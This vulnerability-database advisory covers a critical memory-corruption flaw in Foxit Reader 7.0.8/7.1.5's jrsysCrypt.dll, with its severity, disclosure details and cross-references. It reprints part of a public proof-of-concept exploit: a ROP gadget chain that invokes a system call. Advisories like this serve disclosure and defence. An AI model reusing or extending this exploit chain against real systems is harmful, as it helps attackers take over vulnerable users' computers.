A vulnerability, which was classified as critical, was found in Foxit Reader 7.0.8/7.1.5 (Document Reader Software). This affects some unknown processing in the library jrsysCrypt.dll. The manipulation with an unknown input leads to a memory corruption vulnerability. CWE is classifying the issue as CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was published 07/27/2015 (Website). The advisory is shared at exploit-db.com. The exploitability is told to be easy. An attack has to be approached locally. No form of authentication is needed for exploitation. Technical details and a public exploit are known.

After immediately, there has been an exploit disclosed. The exploit is shared for download at exploit-db.com. It is declared as proof-of-concept. The code used by the exploit is:

# Write Size to data section
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa004) # data section
rop += p(0x100012ca) #pop ecx; ret
rop += p(0x1000)
 
# Write baseaddr (esp) to data section
rop += p(0x1001dd25) #mov dword ptr [eax], ecx; ret;
rop += p(0x1007b25c) #push esp; add eax, 0x20; pop ebx; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0x100aa008) # data section
rop += p(0x1004eacc) #mov dword ptr [eax], ebx; pop ebx; ret;
rop += p(0xdeadc0de)
 
# dereference syscall and call it
rop += p(0x1002d346) #pop eax; ret
rop += p(0x7ffe0300) # fastsyscall
rop += p(0x10010ff4) #mov ecx, dword ptr [eax]; mov eax, [ecx]; ret;
rop += p(0x1002d346) #pop eax; ret
rop += p(0xd7) #syscall
rop += p(0x10081541) #push ecx;cld; ret
 
rop += p(0x100801f5) # 6xpop; ret
rop += p(0xdeadc0de)
rop += p(0xffffffff)
rop += p(0x100aa008) # datasection Pointer to baseaddress
rop += p(0x100aa004) # datasection Pointer to size
rop += p(0x40)
rop += p(0x100aa00c)
rop += p(0x1006c63b) # push esp, ret

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at X-Force (105195) and Exploit-DB (37699).

Productinfo

Type

• Document Reader Software

Vendor

• Foxit

Name

• Reader

Version

• 7.0.8
• 7.1.5

License

• free

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍

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